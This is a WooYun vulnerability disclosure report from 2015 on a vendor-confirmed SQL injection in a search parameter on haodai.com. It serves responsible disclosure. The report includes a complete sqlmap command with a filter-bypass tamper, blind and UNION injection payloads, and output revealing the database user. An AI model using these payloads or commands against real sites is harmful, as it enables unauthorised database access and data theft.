当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0149527

漏洞标题:好贷网注入绕过一枚(可union)

相关厂商:好贷网

漏洞作者: 路人甲

提交时间:2015-10-26 14:17

修复时间:2015-12-10 16:12

公开时间:2015-12-10 16:12

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-26: 细节已通知厂商并且等待厂商处理中
2015-10-26: 厂商已经确认,细节仅向厂商公开
2015-11-05: 细节向核心白帽子及相关领域专家公开
2015-11-15: 细节向普通白帽子公开
2015-11-25: 细节向实习白帽子公开
2015-12-10: 细节向公众公开

简要描述:

RT

详细说明:

漏洞地址:

http://www.haodai.com/wenda/listindex?keyword=a


keyowrd参数存在注入,空格被过滤了,可利用space2comment绕过

C:\sqlmap>sqlmap -u "http://www.haodai.com/wenda/listindex?keyword=a"  --tamper
"space2comment" --dbms mysql --level 5 --risk 3 --dbs


---
Parameter: keyword (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: keyword=-8674') OR 5666=5666 AND ('wxUH'='wxUH
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: keyword=a') OR SLEEP(5) AND ('xDdn'='xDdn
Type: UNION query
Title: MySQL UNION query (NULL) - 27 columns
Payload: keyword=a') UNION ALL SELECT CONCAT(0x71766b7671,0x566858594a4e426f
62434f447a424f4f4c59777542757046464775574b707276564263504a6e6177,0x716a706b71),N
ULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,N
ULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
---

漏洞证明:

1.png


sqlmap resumed the following injection point(s) from stored session:
---
Parameter: keyword (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: keyword=-8674') OR 5666=5666 AND ('wxUH'='wxUH
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: keyword=a') OR SLEEP(5) AND ('xDdn'='xDdn
Type: UNION query
Title: MySQL UNION query (NULL) - 27 columns
Payload: keyword=a') UNION ALL SELECT CONCAT(0x71766b7671,0x566858594a4e426f
62434f447a424f4f4c59777542757046464775574b707276564263504a6e6177,0x716a706b71),N
ULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,N
ULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
---
[13:13:56] [WARNING] changes made by tampering scripts are not included in shown
payload content(s)
[13:13:56] [INFO] testing MySQL
[13:13:58] [INFO] confirming MySQL
[13:13:58] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[13:13:58] [INFO] fetching current user
current user: 'haodaiwang@192.168.1.%'

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-10-26 16:11

厂商回复:

多谢

最新状态:

暂无


漏洞评价:

评论

  1. 2015-10-26 14:40 | Xmyth_Xi2oMin9 ( 普通白帽子 | Rank:400 漏洞数:56 | 人来人往 喜欢却只能欣赏 再见了各位)

    ~\(≧▽≦)/~啦啦啦